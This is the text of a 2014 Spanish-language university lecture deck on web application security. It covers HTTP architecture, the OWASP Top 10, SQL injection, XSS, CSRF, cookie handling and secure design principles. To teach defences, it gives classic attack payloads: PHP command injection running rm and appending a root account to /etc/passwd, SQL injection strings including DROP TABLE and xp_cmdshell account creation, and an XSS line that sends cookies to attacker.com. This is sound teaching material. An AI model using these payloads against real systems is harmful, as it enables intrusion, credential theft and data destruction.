slides - Núcleo de Investigación y Desarrollo Tecnológico (NIDTEC)

Seguridad en Aplicaciones web
Cristian Cappo
[email protected]
Núcleo de Investigación y Desarrollo Tecnológico
Facultad Politécnica
Universidad Nacional de Asunción, PY
Setiembre/2014
Movilidad Docente – Asociación de Universidades del
Grupo Montevideo (AUGM)
Contenido
I.
II.
III.
IV.
V.
Seguridad: Introducción
Aplicaciones web. Características
Vulnerabilidades y ataques en web.
Principios de diseño de seguridad
Seguridad en el ciclo de vida una aplicación
web
I - Seguridad: introducción
• ¿Qué es un sistema seguro?
• ¿Qué es un software seguro?
4
Definiciones sobre sistema seguro
• Un sistema es seguro si se comporta
precisamente en la manera esperada y de
ninguna otra forma más.
– Definición vaga y abstracta, cuenta poco sobre
como alcanzar esta seguridad.
5
Definiciones sobre sistema seguro(2)
• Un sistema es seguro si y solo si este comienza en
un estado seguro y no puede pasar a un estado
inseguro.
– No hay forma de definir un comportamiento deseable
para un sistema suficientemente complejo.
– Los deseos muchas veces no son automáticamente
mapeables a restricciones formales o concretas.
– El comportamiento de un sistema es muy difícil de
analizar conclusivamente (Alan Turing: El problema de
la indecibilidad )
6
Un sistema seguro
• Aquel que esta construido en base a políticas de
seguridad. Una política de seguridad es una
sentencia de que es y que no es permitido.
• Estas políticas definen los métodos, herramientas
y procedimientos que hacen cumplir la política.
• Una especificación de políticas de seguridad de
acciones puede comprender mecanismos de
prevención, detección o recuperación ante
ataques.
7
Componentes de la seguridad de la
información
Confidencialidad: previene
el uso o descubierta no
autorizada
de información (la oculta)
La privacidad es un concepto
Asociado. El control de
acceso
soporta este componente
Integridad: salvaguarda la
precisión y completitud de la
Información y del método de
procesamiento . Se refiere a
la confianza en los datos y
recursos.
Incluye: integridad de datos
e integridad del origen
(autenticación)
Disponibilidad: asegura que los usuarios autorizados
accedan en tiempo y forma a los datos y recursos. El
ataque de denegación de servicio compromete este
componente
8
II - Aplicaciones web.
Características
9
¿Qué es una aplicación web?
• Es aquella aplicación que utilizan la infraestructura
web para su funcionamiento, en particular
consideramos la que utiliza el protocolo HTTP
(HyperText Transfer Protocol - RFC 2616) para la
comunicación con sus usuarios.
• La web se ha convertido en el medio natural para desplegar
servicios de software.
Existen actualmente cerca de 785 millones de sitios web según
Netcraft (www.netcraft.com). (a nov/2013), en el mismo mes del 2012
se tenía 625 millones, es decir hubo un crecimiento de más de 150
millones de sitios en un solo año!! Y con 34,3% de la población mundial
con acceso a Internet (2400 millones de personas!!)
¿Cuántos de estos sitios poseen al menos una aplicación web?
Beneficios de las aplicaciones web
• Utiliza un protocolo liviano(HTTP) y stateless
(sin conexión)
• El front-end es algo común en cualquier
computadora o dispositivo móvil: un
navegador.
• Los navegadores poseen mucha funcionalidad
• La tecnología y los lenguajes de desarrollo de
las aplicaciones son relativamente simples y
fáciles de conseguir.
Estan día a día con nosotros
Funcionalidades de la aplicaciones
web(2)
• Además de Internet, las organizaciones están
adoptando este esquema para soporte de sus
actividades de negocio:
– Aplicaciones para manejo administrativo: ejemplo
software ERP.
– Administración de infraestructura como servidores,
estaciones de trabajo, máquinas virtuales, mail & web
servers, etc.
– Software colaborativo: workflow, documentos, etc.
– Aplicaciones usuales de oficina (planilla, proc. de
texto, etc): Google apps, MS Office live, etc.
Arquitectura web
Esquema básico
Firewall
App - Web
Cliente
Web
Tráfico HTTP
Servidor
Web
Puerto 80
App - Web
Servidor
de Base
de datos
Arquitectura web
Funcionamiento
• Todas las transacciones HTTP siguen el mismo formato. Cada
request(cliente) y cada response(servidor) tiene tres partes: la
línea del request (que indica el método HTTP) o response, la
cabecera y el cuerpo
Arquitectura web
Componentes
• Métodos HTTP: los principales GET y POST. Otros: HEAD, TRACE,
OPTIONS, DELETE.
• URL (uniform resource locator): identificador único para un recurso
web. El formato es el siguiente:
protocol: //hostname[:port]/[path/]file?[param=value]
• Envío de parámetros: en el URL query string, en los cookies, en el
cuerpo usando POST.
• Las aplicaciones pueden ser construidas con una variedad de
tecnologías:
–
–
–
–
–
Lenguajes de scripts como: PHP, VBScript, Perl, etc
Plataformas de aplicaciones web : APS.NET, Java, Ruby on rails,
Web servers: Apache, Nginx, IIS, Google, Oracle, IBM, etc
Base de datos: Oracle, PostgreSQL, MySQL, etc
Otros componentes de back-end: sistema de archivos, servicios web,
servicios de directorio, etc.
Arquitectura web
Métodos HTTP básicos
Método
Descripción
¿Body?
GET
Solicitar un documento del servidor
No
HEAD
Solicitar solo el header del servidor
No
POST
Enviar datos al servidor para su procesamiento
Si
PUT
Guardar el cuerpo del request en el servidor
Si
TRACE
Mostrar la traza del mensaje a través de los proxys al
server
No
OPTIONS
Determina que métodos están habilitados en el servidor
No
DELETE
Borra un documento del servidor
No
Arquitectura web
Funcionalidad del lado cliente
•
•
•
•
•
•
•
•
•
•
HTML4 y HTML5
HyperLinks
Forms
CSS
JavaScript
VBScript
DOM
Ajax
JSON
Extensiones al browser: Java applets, controles ActiveX,
objetos Flash, objetos Silverlight, etc.
• Etc..
Arquitectura web
otras cuestiones
• Estado y Sesiones
• Esquemas de codificación
–
–
–
–
–
URL
Unicode
HTML
Base64
Hex
(ejemplo del carácter = )
%3d
%u003d ó \u003d
= ó = ó &eq;
PQ==
3D
• Acceso remoto de clientes y serialización
– Adobe Flex y AMF (Action Message Format)
– MS Silverligth and WCF (Windows Communication
Foundation)
– Objetos java serializados
III - Vulnerabilidades y
ataques en web
¿Qué es una vulnerabilidad?
• Es una debilidad o fallo de seguridad en el software
que puede ser aprovechada o explotada de forma
malintencionada por un atacante y violar así la
seguridad del sistema, ó afectar su disponibilidad.
¿Porqué las aplicaciones quedan
vulnerables?
• Falta de aplicación de una metodología que
incluya a la seguridad como parte del proceso
de desarrollo de software.
• Software Development Lifecycle – SDL (Microsoft)
• SSE-CMM(ISO/IEC 21827) (SystemSecurityEngineeringCMM)
• SAMM (Software Assurance
Maturity Model (OWASP)
• Software Security
Framework (Citigal & Fortify )
¿Porqué las aplicaciones quedan
vulnerables? (2)
• Conciencia sobre seguridad poco desarrollada.
• Desarrollo con ajustadas restricciones de tiempo
y recursos.
• Rápida evolución de las amenazas.
• Creciente demanda de nuevas funcionalidades.
• Ajuste de las aplicaciones en funcionamiento (o
en etapas finales de desarrollo) a las nuevas
tecnologías.
• Desarrollo personalizado.
• La simplicidad engañosa de las herramientas.
Ejemplo de vulnerabilidades de una
aplicación CMS popular
– Aplicación: Joomla! (www.joomla.org)
– Fuente: www.secunia.com (Secunia)
• Número de vulnerabilidades para Joomla! (2005-2012): 525
– 2012: 27
– 2011: 82
– 2010: 236
– 2009: 66
– Fuente : cve.mitre.org
•
• Número de vulnerabilidades para Joomla! (2005-2014): 635
– 2014: 2
– 2013: 10
– 2012: 15
– 2011: 147
– 2010: 236
– 2009: 67
Otras fuentes de consulta de vulnerabilidades:
–
–
–
–
–
Common Vulnerabilities
and Exposures (CVE)
Desde 1999 a 2012, más
del 50% corresponde a
vulnerabilidades web
www.securityfocos.com (Symantec)
osvdb.org (Open Source Vulnerability Database)
www.securitytracker.com ( SecurityGlobal.net)
www.webappsec.org (Web Hacking Incident Database) (exclusivo de aplicaciones web)
xssed.com (Vulnerabilidades XSS) (lista un poco más de 45500 vulnerabilidades XSS)
¿Cómo evitar las vulnerabilidades?
• Hacer lo correcto desde el principio
• Pero
– No es posible 100% de seguridad
– Muchas veces utilizamos software de terceros , del
que tal vez desconozcamos su calidad.
– Tenemos que convivir con sistemas en funcionamiento
• Si es posible mejorar el software, debe hacerse!
• Es probable que tengamos que aumentar la
seguridad desde el exterior
Razones para atacar una aplicación
web
•
•
•
•
•
•
•
•
Ubicuidad
Existencia de técnicas simples de “hackeo”
Anonimato
Pasar por alto las protecciones “tradicionales”
(firewalls)
Facilidad de código propio
Seguridad inmadura
Constantes cambios a las aplicaciones
Dinero
¿Qué componentes son atacables?
•
•
•
•
•
•
Plataforma web
Aplicación web
Base de datos
Cliente web
Comunicación
Disponibilidad (DoS)
Ataques web
Firewall
App - Web
Cliente
Web
Tráfico HTTP
Servidor
Web
App - Web
Servidor
de Base
de datos
GET /login.pl?user=http://hak.com/..
Puerto 80
El firewall no puede
contrarrestar ataques que vienen
en el contenido de los paquetes
HTTP (que es puerto abierto)
Vulnerabilidades en web
• Open Web Application Security
Project (OWASP)
– Organización sin fines de lucro que se dedica a
ayudar a entender y mejorar la seguridad de las
aplicaciones y servicios web.
– Entre uno de sus proyectos se encuentra la
producción de la lista de las diez vulnerabilidades
más importantes de las aplicaciones web. El
último reporte es del 2013.
1.
2.
3.
4.
5.
6.
Inyección (notablemente SQL Injection).
Pérdida de autenticación y gestión de sesiones.
Secuencia de Comandos en Sitios Cruzados (XSS).
Referencia Directa Insegura a objetos.
Configuración de Seguridad Incorrecta.
Exposición de datos sensibles (incluye almacenamiento criptográfico
inseguro)
7. Ausencia de control de acceso a funciones (incluye falla de restricción de
acceso a URL de 2010)
8. Falsificación de Petición de Sitios Cruzados (CSRF).
9. Uso de componentes con vulnerabilidades conocidas (nuevo 2013)
10. Redirecciones y reenvíos no validados.
OWASP 2010
Falla de restricción de acceso a URL de 2010
Almacenamiento criptográfico inseguro
Defectuosa configuración de seguridad
Ejemplos de vulnerabilidades y
ataques usuales en web
31
Vulnerabilidades
Fuente: IBM X-Force, 2011
41%
Web app vulns
59%
Other vulns
32
Dos lados de la seguridad web
• Aplicaciones Web (server-side)
– Ventas online, bancos, blogs, Google Apps …
– Mezcla de código de servidor y cliente
• Codigo en server escrito en PHP, Ruby, ASP, JSP se
ejecuta en el servidor web.
• Código cliente escrito en JavaScript y otros, se ejecuta
en el navegador.
– Muchos potenciales bugs: XSS, CSRF, SQL injection
• Navegador Web (client-side)
– Responsable de confinar en forma segura el
contenido web presentado por los sitios visitados.
33
Server-side
• Se ejecuta en un servidor web (app server)
• Toma la entrada de los usuarios remotos vía el
navegador.
• Interactúa con base de datos y otros
servidores.
• Prepara la salida para los usuarios.
34
Ejemplo: PHP (Hypertext Processor)
• Lenguaje scripting con sintaxis al estilo C
• Puede intercalar HTML estático y código
<input value = <?php echo $myvalor; $>>
• Puede incrustar variables de cadenas con comillas
dobles:
$usuario=“Mundo”;echo “Hola $usuario!”;
o $usuario=“Mundo;echo “Hola”. $usuario.“.”;
• Datos de formularios en arreglos globales _$GET,
$POST, ..
35
Inyección de código en PHP
• Calculadora server-side en PHP:
$in = $_GET[‘val’];
eval(‘$op1=‘. $in. ‘;’);
• Entrada benigna
http://victima.com/calc.php?val=5
• Entrada maliciosa
http://victima.com/calc.php?val=5;system(‘rm *.*’)
• Calc.php ejecuta:
eval(‘$op1=5; system(‘rm *.*’);’);
36
Mas inyección de código en PHP
• Código PHP para enviar mail
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/texto”)
• Código atacante
http://victima.com/mail.php?
[email protected]&
subject=foo < /usr/passwd; ls
http://victima.com/mail.php?
[email protected]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
37
SQL
• Típica generación de código usando SQL
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Clave FROM users " .
"WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);
¿Que pasa si ‘user’ es una cadena maliciosa que
cambia el significado de la consulta?
38
Típico login
39
Navegador
(Cliente)
Ingrese
Usuario
&
Password
Servidor
web
SELECT passwd
FROM USERS
WHERE uname
= ‘$user’
DB
40
Login “normal”
Navegador
(Cliente)
Ingrese
Usuario
&
Password
Servidor
web
SELECT passwd
FROM USERS
WHERE uname
= ‘smith’
DB
41
Entrada maliciosa
42
Inyección SQL (SQLI)
Navegador
(Cliente)
Ingrese
Usuario
&
Password
Servidor
web
SELECT passwd
FROM USERS
WHERE uname
= ‘’; DROP TABLE
USERS;--’
DB
43
Inyección SQL – Idea básica
Servidor víctima
Atacante
1
2
3 Recibe datos desde la
DB
•
Esta es una vulnerabilidad de validación de entrada
•
La entrada de usuario no sanitizada cambia el sentido
original de la consulta SQL.
•
Es un caso especial de inyección de código
Consulta
No esperada
DBMS Víctima
44
Autenticación con la BD
• set UserFound=execute(
“SELECT * FROM UserTable WHERE
username=‘ ” & form(“user”) & “ ′ AND
password= ‘ ” & form(“pwd”) & “ ′ ” );
El usuario ingresa su código y contraseña, este SQL
chequea si existe tal combinación en la BD.
If not UserFound.EOF
Autenticación correcta
else
Autenticación incorrecta
45
Usando SQLI para ingresar
• El usuario ingresa ′ OR 1=1 -• El aplicación web ejecuta la consulta
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘’ OR 1=1 -- … );
• Ahora todos los registros son retornados y la
autenticación es correcta
46
Más de SQLI
• El usuario puede dar como código
′ exec cmdshell ‘net user badguy badpwd’ / ADD –
• Y se ejecuta la consulta:
set UserFound=execute(
SELECT * FROM UserTable WHERE
username= ‘’ exec … -- … );
• Crea una cuenta para badguy en el servidor de
base de datos.
47
SQLI de segundo orden
• Los datos guardados en la BD pueden ser
utilizados luego para un SQLI
• Por ejemplo, un usuario cambia su nombre a
admin’-– Esta vulnerabilidad puede existir si no se aplica
consistentemente la validación de entrada y el
escapado (por ejemplo de ’ convertir a \’)
• Algunas aplicaciones solo validan la entradas del servidor
web y no así las entradas que vienen de la BD.
• UPDATE users set password =‘jejeje’ where uname =‘admin’-’
• Tratar a todas las entradas como peligrosas
48
Previniendo los SQLI
• Validar toda la entrada
– Filtrar cualquier carácter que tenga un significado
especial
– Chequear el tipo de dato
• Caracteres permitidos (whitelist)
– Colocar solo los no permitidos a veces no funciona
• Se puede olvidar algunos
• Puede prevenir entradas válidas (por ejemplo O’Higgins)
– Permita solo un conjunto bien definido de valores
seguros
• Puede utilizar expresiones regulares.
49
Escapando
• Caracteres especiales como ‘ provee distinción
entre datos y código en la consulta
• Para entradas válidas con ‘ , use caracteres
escapados.
• Diferentes BD tienen diferentes reglas de
escapado:
– Ejemplos
• escape(O’Higging) = O\’Higging
• escape(O’Higging) = O’’Higging
50
Sentencias SQL precompiladas
• En un SQLI los datos son interpretados como
código
• Variables bind : garantiza que los lugares en la
consulta sean datos (no código)
• Sentencias prepared: permiten la creación de
consultas estáticas con variables bind.
Preserva la estructura de la consulta prevista.
51
Ejemplo de sentencias prepared
/* Ejemplo en Java */
PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
+ "FROM orders WHERE userid= ? AND order_month= ? ");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery();
Variables bind (data
placeholder)
 La consulta es parseada sin los parámetros
 Las variables bind tienen tipos (int, string, …)
 De todos modos debe seguir cuidando los SQLI de
segundo orden.
52
Cuestiones del lado cliente
Cliente-side
Metas de la seguridad web
• Navegar en forma segura en la web
– Un sitio malicioso no puede robar información o
modificar sitios legítimos o dañar al usuario.
– Aún si es visitado concurrentemente en un sitio
legítimo, en una ventana separada, o aun en un
iframe de la misma página.
• Soportar aplicaciones web seguras
– Las aplicaciones entregadas sobre la web deben
tener las mismas propiedades de seguridad que
requiere cualquier aplicación standalone. ¿Cuáles
son estas propiedades? (veremos más adelante)
54
Modelos de amenazas Web
• Atacante Web
• Atacante de la red
– Pasivo: espiando la conexión wireless
– Activo: router malicioso WiFi, envenenamiento DNS
• Atacante en Malware
– Código malicioso se ejecuta directamente en la
computadora de la víctima
– Infecta la máquina, puede aprovechar bugs en
software (ej: buffer overflow) o convencer al usuario
a instalar contenido maliciosos. ¿Como?
• Enmascarándose como un programa de antivirus, un video
códec, etc.
55
Atacante web
• Controla un sitio malicioso (attacker.com)
– Puede inclusive obtener un certificado SSL/TLS para
este sitio por casi nada.
• Usuario visita attacker.com (porqué)
– Correo pishing, contenido tentador, resultado de
búsquedas, puesto por una propaganda, golpe de
suerte ..
– App de atacantes en Facebook u otro
• El atacante no tiene otro acceso a la computadora del usuario
• Variación: “atacante iframe”
– Un iframe con contenido malicioso incluido en un sitio
legal (propaganda, mashups, etc)
56
S.O. vs. Navegador - analogía
Sistema Operativo
• Primitivas
– Llamadas al sistema (Sys Calls)
– Procesos
– Disco
• Principal: Usuarios
– Control de acceso discrecional
• Vulnerabilidades
– Buffer overflow
– Root exploit
Navegador
• Primitivas
– DOM - Document object model
– Frames
– Cookies y localStorage
• Principal: “Origen”
– Control de acceso mandatorio
• Vulnerabilidades
– XSS
– Universal Cross-Site scripting
(UXSS)
57
Same Origin Policy
protocol://domain:port/path?params
Same Origin Policy (SOP) para DOM:
A puede acceder al DOM de B si A y B tienen el
mismo (protocol, domain, port)
Same Origin Policy (SOP) para cookies:
Generalmente, basado en
([protocol], domain, path)
opcional
58
Document Object Model (DOM)
• La página HTML es un dato estructurado
• DOM: representación orientada a objeto de
una representación jerárquica de la estructura
HTML
– Propiedades: document.alinkColor, document.URL,
document.forms[ ], document.links[ ], …
– Métodos: document.write(document.referrer)
• Cambian el contenido de la página!!
• También como Browser Object Model (BOM)
– Window, Document, Frames[], History, Location,
Navigator (tipo y versión del navegador)
59
Ejemplo de ataques comunes
• Secuencia de Comandos en Sitios Cruzados
(XSS)
– La aplicación puede ser utilizada como mecanismo
para transportar un ataque al usuario final con un
navegador.
• El navegador del usuario no tiene forma de conocer
que el script es malicioso
• Puede acceder a cookies, tokens de sesión o cualquier
otra información sensible guardada en el navegador.
• Pueden ser de tipo reflejado, permanente o de DOM
XSS - Ejemplo
• Considerar el siguiente código Java
(String) page += "<input name='creditcard'
type='TEXT‘ value='" +
request.getParameter("CC") + "'>";
• El atacante puede modificar el parámetro CC
en el navegador
'><script>document.location='http://www.attacker.co
m/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Secuencia de Comandos en Sitios Cruzados (XSS) –
Reflejado - Ejemplo
Usuario hace login
El usuario solicita el
URL malicioso al
servidor
El server responde con
el script del atacante
El script del
atacante
Se ejecuta en el
navegador
Del usuario
El atacante secuestra la
sesión del usuario
1
7
3
4
5
2
6
El atacante envía un URL
malicioso al usuario
El navegador del usuario
envía el dato al atacante
62
Secuencia de Comandos en Sitios Cruzados (XSS) –
Guardado - Ejemplo
Usuario hace login
El atacante envía una respuesta
conteniendo un script malicioso
El usuario ve la
respuesta del atacante
El server responde con
el script del atacante
El script del
atacante
Se ejecuta en el
navegador
Del usuario
2
1
3
7
4
El atacante secuestra la
sesión del usuario
5
6
El navegador del usuario
envía el dato al atacante
63
XSS (un poco más)
• Web 2.0
1. HTTP GET
2. HTML and JS
`
3. Asynchronous GET
4. Javascript to wrap in eval
– Los scripts maliciosos pueden estar
• Contenidos en argumentos de JavaScript creados
dinámicamente.
• Contenido en los arreglos JavaScript
• Escritos dinámicamente en el DOM
64
XSS en AJAX
• Flujos en arreglos Javascript
var downstreamArray = new Array();
downstreamArray[0] = “42"; doBadStuff(); var bar=“ajacked";
• No detectado por filtros simples
– No existe <>, “script”, on.., etc
• Solo se necesita romper la doble comilla
65
XSS en AJAX
• Código JSON escrito en el DOM por un script del
lado cliente
var inboundJSON = {"people": [
{"name": "Joel", "address": “<script>badStuff();</script>",
"phone": "911"} ] };
someObject.innerHTML(inboundJSON.people[0].address);
// Vulnerable
document.write(inboundJSON.people[0].address);
// Vulnerable
someObject.innerText(inboundJSON.people[0].address);
// Seguro
• XSS puede estar en el DOM
– document.url, documento.location,
document.referer
66
Protegerse contra XSS
• Asegurar que su aplicación valide todas las cabeceras, cookies,
query string, campos de formulario y campos ocultos
• No intentar identificar contenido activos y removerlos,
filtrarlos o sanitizarlos. Existen demasiados tipos de contenido
activo y muchísimas formas de codificarlo para sobrepasar los
filtros.
• Es recomendable utilizar una política de seguridad positiva
que especifica que es lo que está permitido. La política de
seguridad negativa (mantenimiento de firmas) son difíciles de
mantener y usualmente incompletas.
67
Prevenir XSS
• Cualquier entrada del usuario debe ser
preprocesada antes de utilizarla dentro de HTML
• Remover /codificar los caracteres especiales
HTML
– Usar una buena librería de escape
• Ejemplo: OWASP ESAPI
– En PHP, htmlspecialchars(string) puede reemplazar
todos los caracteres con sus códigos HTML
• ‘ se convierte a ' “ se convierte a " & se
convierte a &
– En ASP.NET, Server.HtmlEncode(string)
68
Seteando Cookies por el Servidor
GET …
Nav.
Serv.
HTTP Header:
Set-cookie: NAME=VALUE;
domain = (cuando enviar);
path = (cuando enviar);
if expires=NULL:
secure = (solo sobre HTTPS);
Es solo de la sesión
expires = (cuando expira);
HttpOnly
•
Borrar cookie seteando “expires” a una fecha pasada
•
Ámbito por defecto es el dominio y path del URL actual
•
Usos de cookies: autenticación, personalización, trazabilidad.
ámbito
69
Identificación de Cookies
Cookies son identificados por (name, domain, path)
cookie 1
name = userid
value = test
domain = login.site.com
path = /
secure
cookie 2
name = userid
value = test123
domain = .site.com
path = /
secure
Cookies distintos
Ambos cookies guardados en el “jar” del browser y ambos
en el ámbito login.site.com
70
SOP para escribir Cookies
domain: cualquier sufijo del URL-hostname,
excepto el top-level domain (TLD)
¿Cuál cookie puede ser cambiado por login.site.com?
Dominios permitidos
login.site.com
.site.com


Dominios no permitidos
user.site.com
othersite.com
.com
login.site.com puede cambiar cookies para todo .site.com
pero no para otro sitio o TLD



path: cualquiera
71
SOP para enviar Cookies
Nav.
GET //URL-domain/URL-path
Cookie: NAME = VALUE
Serv.
El navegador envia todos los cookies en el ámbito URL:
• cookie-domain es el dominio sufijo del URL-domain
• cookie-path es el prefijo del URL-path
• protocol=HTTPS si el cookie es “secure”
Meta: el servidor solo puede ver cookies en su ámbito
72
Cuestiones en el protocolo de Cookies
• ¿Qué conoce el servidor acerca de los cookies
enviados por el browser?
• Solo ve Cookie: Name=Value
… y no los atributos (ejemplo, “secure”)
… y no cuál dominio seteo el cookie
– RFC 2109 (cookie RFC) tiene la opción de incluir
dominio y path, pero no es soportado por todos los
navegadores
73
¿Como cambio el Cookie?
• Alice ingresa a login.site.com
– login.site.com setea el cookie de la session-id para
.site.com
• Alice visita evil.site.com
– Sobreescribe .site.com session-id cookie con session-id
del usuario “test” - no es una violación de SOP!
(porqué?)
• Alice visita algo.site.com para enviar un trabajo
– algo.site.com piensa que esta hablando con “test”
• Problema: algo.site.com espera el session-id de login.site.com,
no puede saber que el session-id cookie ha sido sobreescrito por
un dominio “hermano”
74
Sobreescriendo Cookies seguros
• Alice accede a https://www.google.com
https://www.google.com/accounts
• Alice visita http://www.google.com
LSID, GAUSR son
Cookies “seguros”
– Automaticamente, debido a el filtro de phishing
• Un atacante de red puede inyectar la respuesta
Set-Cookie: LSID=badguy; secure
– El navegador piensa que el cookie viene de
http://google.com, permitiéndole sobreescribir el cookie
seguro
75
Accediendo a Cookies via DOM
• La misma regla de ámbito de dominio como para
enviar cookies al servidor.
• document.cookie retorna una cadena con todas
las cookies disponibles por el documento
– Utilizada a veces en JavaScript para personalizar la
página
• Javascript puede setear y borrar cookies via DOM
• document.cookie = “name=value; expires=…; ”
• document.cookie = “name=; expires= Thu, 01-Jan-70”
76
XSRF (CSRF) – Cross-site request forgery
(Falsificación de petición en sitios cruzados)
• Sitios web maliciosos obligan al navegador del
usuario a enviar una petición a un sitio web
“víctima” con las credenciales del usuario.
77
CSRF
• Ejemplo:
– Un usuario ingresa a bank.com, olvida salir de su
sesión.
– El usuario visita un sitio malicioso conteniendo
• <form name=FormPago
action=http://bank.com/Pago.php>
<input name=recipiente value=badguy> …
<script> document.FormPago.submit(); </script>
• El navegador envía la cookie con la requisición maliciosa
• De esta forma: la autenticación con cookies no es
suficiente cuando ocurre este tipo de efecto colateral.
78
CRSF - Falsificación de Petición en Sitios Cruzados
Usuario hace login a
una aplicación
1
El navegador envía
requisición del
atacante
4
2
3
El usuario visita una página
del atacante que tiene un
CRSF
Recibe página maliciosa
79
El servidor responde e
incluye un cookie
80
El atacante ha
inyectado un iframe
81
Recomendaciones para evitar CRSF
• Login
– Validación estricta del campo Referer:
– Usar HTTPS, en este tipo de conexión el Referer no
es usualmente suprimido
• Utilizar correctamente tokens de validación
(no debe poder ser obtenido por el atacante,
por ejemplo via XSS).
82
III - Principios de diseño de seguridad
83
Principios de diseño de seguridad (PDS)*
Son generales, aplicados a cualquier software
1)
2)
3)
4)
5)
6)
7)
8)
Diseño abierto
Seguro a fallas, por defecto
Privilegios mínimos
Economía de mecanismo
Separación de privilegios
Mediación completa
Mecanismo común mínimo
Aceptabilidad psicológica
*Saltzer & Schoroeder. The protection of information in Computer Systems. CACM. 1974
84
PDS (2)
1) Diseño abierto/público (Open Design)
– Sugiere que la complejidad no agrega seguridad
– Definición: la seguridad de un mecanismo no
debería depender del secreto de su diseño o
implementación.
– El término “seguridad por oscuridad” captura el
concepto.
Ejemplo: El sistema CSS (Content Scrambling System) es un algoritmo
criptográfico que protege a los DVDs de copias no autorizadas. Aunque
el algoritmo se mantuvo oculto, en 1999 se descubrió el algoritmo, se
publicó y se rompió.
85
PDS (3)
2) Seguro ante fallas, por defecto
– Restringe como los privilegios son inicializados
cuando un sujeto u objeto es creado.
– Definición: un privilegio a un sujeto debe ser dado
explícitamente sobre un objeto, de lo contrario se
debe denegar el acceso al mismo.
– El acceso por defecto es “ninguno”
Ejemplo: Si un servidor de mail no puede crear el directorio de spool,
éste debe cerrar la conexión, emitir un mensaje de error y parar. No
debe tratar de guardar el mensaje o expandir sus privilegios para
guardar el mensaje en otro lugar, esto daría lugar a un atacante para
sobrescribir o alzar nuevos archivos o llenando el disco (ataque DoS).
86
PDS (4)
3) Privilegios mínimos
– Indica como los privilegios son otorgados
– Definición: un sujeto debe tener solo los privilegios
necesarios a fin de completar su tarea.
– Si alguien no necesita de un privilegio, no lo debe
tener.
– Ejemplo 1: En Unix al usuario root no se le aplica control de acceso, tiene
privilegio a todo.
– Ejemplo 2: un mail server que acepta conexiones de internet y copia los
mensajes al directorio spool. Solo necesita acceso al puerto de red, crear
los archivos y modificarlos. Debe renunciar a sus derechos sobre el archivo
tan pronto como termina su tarea. Este no debe poder leer luego los
archivos de usuarios.
87
PDS (5)
4) Economía en los mecanismos
– Enfatiza que el diseño e implementación de los
mecanismos de seguridad deben ser simples.
– Definición: los mecanismos de seguridad deben
ser tan simples como se pueda.
– Si los mecanismos son simples, existe menos
posibilidades de error.
88
PDS (6)
5) Separación de privilegios
– Limita el acceso a las entidades del sistema
– Definición: un sistema no debe otorgar permisos
basados en una simple decisión.
– Sistemas y programas deben dar acceso a recursos
solo cuando mas de una condición es cumplida.
– Ejemplo: En Berkeley-Unixs, los usuarios no pueden cambiarse a la
cuenta root a no ser que se den dos situaciones. La primera es que
conozca la contraseña de root y la segunda que se encuentre en el
grupo wheel.
89
PDS (7)
6) Mediación completa
– Este principio restringe la información en caché.
– Definición: requiere que todos los accesos a los
objetos sean chequeados para asegurar que ellos
son permitidos.
– Ejemplo: El DNS guarda información en el caché de los nombres de
hosts con sus direcciones IP. Si un atacante envenena el caché
implantando registros asociados a un IP falso con un nombre válido,
un host puede enrutar conexiones a otro host incorrectamente.
90
PDS (8)
7) Mecanismo común mínimo
– Es restrictivo ya que limita el compartir
– Definición: los mecanismos para acceso a recursos no
deben ser compartidos.
– Compartir recursos provee un canal por el cual la
información puede ser transmitida, por lo que debe
minimizarse el compartir.
– Ejemplo: un sitio web provee servicio de comercio electrónico a una
compañía. Los atacantes quieren privar a esa compañía de sus ganancias,
así que inundan el sitio con mensajes obstruyendo el servicio de comercio
electrónico haciendo que los usuarios legítimos no puedan accederlo. En
este caso el compartir Internet con el sitio de los atacantes causan que el
ataque sea exitoso.
91
PDS (9)
8) Aceptabilidad psicológica
– Se reconoce el elemento humano en la seguridad
informática.
– Definición: los mecanismos de seguridad no deben
hacer mas dificultoso el acceso a un recurso que
cuando éstos no estén presentes.
– Configurar y ejecutar un programa debe ser fácil e
intuitivo tanto como sea posible, y la salida debe ser
clara, directa y útil.
– Ejemplo: el programa ssh permite al usuario configurar el mecanismo de
clave pública para cifrar la comunicación. Si se guarda la clave pública, se
permite la conexión sin proveer la contraseña pero se mantiene la
conexión cifrada.
92
IV - Seguridad en el ciclo de vida una
aplicación web
93
Seguridad en el ciclo de vida de un software
• El diseño, construcción y despliegue de una aplicación
debe integrar seguridad en todo su ciclo de vida.
• Algunas metodologías para desarrollo de software
seguro:
–
–
–
–
–
McGraw’s Touchpoint
BSIMM Building Security in – Maturity Model
Microsoft SDL
OpenSAMM (Software Assurance Maturity Model)
Security considerations in the SDLC – NIST 800-64 2008 (
orientado a incluir seguridad en el ciclo de vida de
desarrollo de software)
94
Metodología SDL
(Security Devolopment lifecycle)
• Desarrollada por Microsoft
• Mandatorio en MS desde 2004
95
Como integrar Seguridad al ciclo de vida de un
software (un ejemplo basado en SDL)
96
Actividades de seguridad en el ciclo de vida de una
aplicación
97
a) Objetivos de seguridad
(Etapa de desarrollo: Requerimiento y análisis)
98
Descubriendo los objetivos de seguridad
• Matriz de roles
• Derivar de los requerimientos funcionales
99
Matriz de roles
• Ejemplo
100
Derivar de los requerimientos funcionales
• Ejemplo
101
B) Diseño seguro
Directrices para el diseño seguro
(Etapa de desarrollo: Arquitectura y diseño)
• Consisten en un conjunto de prácticas que
pueden ser empleados para reducir el riesgo de
vulnerabilidades de seguridad.
• Cada directriz debe ser:
– Accionable
• Asociada a una vulnerabilidad a ser mitigada
– Relevante
• Asociada a una vulnerabilidad que es conocida afecta a
aplicaciones reales.
– De impacto
• Debe representar una decisión de ingeniería que tenga un
impacto amplio.
102
Marco de seguridad
• Es una modelo de información-patrón que
define un conjunto de aspectos de seguridad
para la aplicación que se está diseñando.
• Las guías de patrones y prácticas incluyen un
marco de seguridad específico por cada tipo
de aplicación.
103
Categoría de vulnerabilidades común en muchos
tipos de aplicaciones
104
Directrices específicas para una aplicación
específica
• Directrices de diseño para aplicación web
105
Consideraciones de despliegue
106
c) Modelado de amenazas
